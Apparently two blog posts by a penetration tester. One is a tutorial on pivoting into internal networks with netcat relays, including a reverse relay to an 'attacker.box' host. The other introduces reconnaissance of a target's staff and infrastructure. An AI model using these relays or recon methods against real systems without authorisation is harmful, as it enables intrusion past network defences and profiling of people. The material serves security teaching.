Advanced Traffic Pivoting with Netcat (bind/reverse connection port forwards)

Background -
Many a times during a pentest, I need to access machines on an internal network that are not reachable from outside, since they lie in the private ip space. So the solution is to setup the previously 0wned box on the DMZ to pivot traffic to these internal hosts.

By now, you must be saying to yourself, that's ancient stuff, it's been documented for ages how port forwards can be done with netcat, there's nothing new in that!

Well, here I would like to point out that you most likely would have used backpipes in linux to bi-directionally port forward traffic using netcat, which also involves using mknod and tee.

I'll show you a quick example here

$ mknod backpipe p
$ nc -l -p 80 0<backpipe | tee -a inflow | nc localhost 81 | tee -a outflow 1>backpipe

THAT works in *nix, but what happens when you need to perform the same thing on a windows box ???

This motivated me to find a unified set of commands that are simple to remember, less confusing, and more importantly, can be used on both linux and windows WITHOUT MAKING ANY CHANGES to the commands. (although you have to change nc to nc.exe in windows, but hey you're smart enough to figure that out, rite ? )
I've named my two methods similar to the payloads of metasploit (which rocks btw... thanks hdm !), so that it becomes easier for you to grasp the concept. We'll be making use of netcat's -e argument, which is most commonly used to bind shells on ports.

The Scenario -

You 0wn a box on the DMZ that can access machines on the internal network. You need to interact with a server on the internal network that is running Oracle DB on port 1521.




Case 1 -

Preconditions -
1. We do not have root on the DMZ box, SSH disabled, so cannot use SSH port forwarding.

2. Inbound connections to arbitrary ports on the DMZ box are not blocked.

Bind TCP Method -

Steps -
On the DMZ Box, we run a simple listener to client relay,

nc -l -p 1521 -e "nc internal.db.srv 1521"

Result -
Now, if the attacker connects to port 1521 of the DMZ Box, his connection will infact be routed to port 1521 of the internal server running Oracle.
Hence interaction with the db is possible which was previously inaccessible.


Case 2 -
Now this is where the scenario gets a bit scary.

Preconditions -
1. Includes all of Case 1 + inbound connections to the DMZ box ARE BLOCKED.
2. DMZ box can make outbound connections only on port 80.

Reverse TCP Method -
This time we'll use listener to listener and client to client relays in netcat to Reverse Connect to attacker's box.

This method comprises of two parts -

a) Establish a client to client relay on the DMZ box that connects to both the attacker's box on port 80 and the internal.db.srv box on port 1521.

b) Establish a listener to listener relay that binds to both port 80 and port 1521 on the attacker's box.

Steps (must be done in the following order)-

1. On the attacker's Linux Box, we run a listener to listener relay,
nc -l -p 80 -e "nc -l -p 1521"

2. While on the DMZ Box, we run a client to client relay,
nc attacker.box 80 -e "nc internal.db.srv 1521"

Analysis -
What happens in the first step is, we instruct netcat to first bind to port 80 on the attacker's linux box and wait for a connection.Now when it receives a connection on port 80, it binds on another port, in this case 1521, and then proceeds to bidirectionally redirect all the i/o received on port 80 to port 1521.

In the 2nd step, we instruct netcat to first connect back to the attacker's linux box on port 80, and when the connection is successful, connect to port 1521 on the internal.db.srv and then bidirectionally redirect all the i/o between the two connections.

Now, the attacker can successfully connect to port 1521 on his localhost and proceed to interact with the desired service. This is also very helpful when using tools like fgdump, psexec that require a connection to port 445 on windows clients that are on the internal network.

Note: I couldn't get step 1 to work on a windows system. So the attacking system has to be linux.

So that concludes this post. Keep on reading folks cause this blog is going to be around a long time!!!

Introduction

This is a brief introduction to what Reconnaissance and this blog is all about.

First of all I would like to say that reconnaissance is my favorite and most stressed subject, and by no means I am an expert in this field. But like everyone else dedicated to a particular subject, I try to learn and get better everyday!

Reconnaissance is the art of information gathering. In the cyber world, it is the art of gathering as much information as possible about the target and mapping the attack surface against it. Now, when we talk about an attack surface , it does not necessarily have to be an IP or group of IP's belonging or somehow related to the target. It can be an email address, telephone number e.t.c. belonging to a person who is somehow related to the target. Reconnaissance is one of the most misunderstood, underestimated and difficult topics in the field of information security. When I say difficult, it refers to the approach a person should take to carry out this process.
After all, if u can't get all the avenues to attack a target, u can miss out on achieving your objective , which might be to breach the security of the target or audit it( depending on who u r ;) ).

So folks, recon can even include the things that seem very insignificant at first.
Without going into technical details, the brief objectives of recon include(and by no means it is complete):-

1. Studying about the target and what it does. (which can include documents published by it online, which give information about its organizational, political or IT infrastructure). This can also include usage of search engines, geo-location mapping e.t.c.

2. Mapping the real world target to a cyber world target. This refers to gathering all the IP's reflecting the complete target organization including all its affiliates, partner companies, sister companies, brands, divisions e.t.c.

3. Gathering all the information about personnel related to the target. This can include gathering email addresses, official and residential phone numbers, social networking site, news groups or forums information, resumes, personal web sites, social engineering, using search engines, extracting metadata from published documents e.t.c. This is often the weakest link to attack, but going through this process is very tedious at times.

Some technical specifics included in the recon process, that I find the most interesting and difficult, which again are by no means complete:-

1. Identifying the online presence of corporate networks belonging to the target.

2. Identifying all the DNS servers (which are publicly accessible) used by the personnel related to the target.

3. Identifying masquerading. When we see traffic from an IP, how do we know that traffic is generated by a single machine and not by a natting device(Hell Yeah! that's what identifying masquerades is all about).

4. Identifying network or application firewalls, load balancers, honeypots, reverse proxies, IPS/IDS e.t.c.

5. Mapping the target network's layout.

6. Identifying the presence of URL rewriting engines employed on a web server.

7. Identifying application servers, backend technologies and to some extent the inner workings of a target web application.

Some people may argue that many of the aforementioned points belong to the enumeration phase of an attack, but for me all of these fall under recon (To tell the truth, for me identifying a database backend via an error message also falls under recon even if I have injected a single quote in a web application parameter to cause the error ;) ).

One last note :
even though this blog is primarily about reconnaissance, this doesn't means that I am not going to post on other topics of information security.

Will be back with more..

Cheers!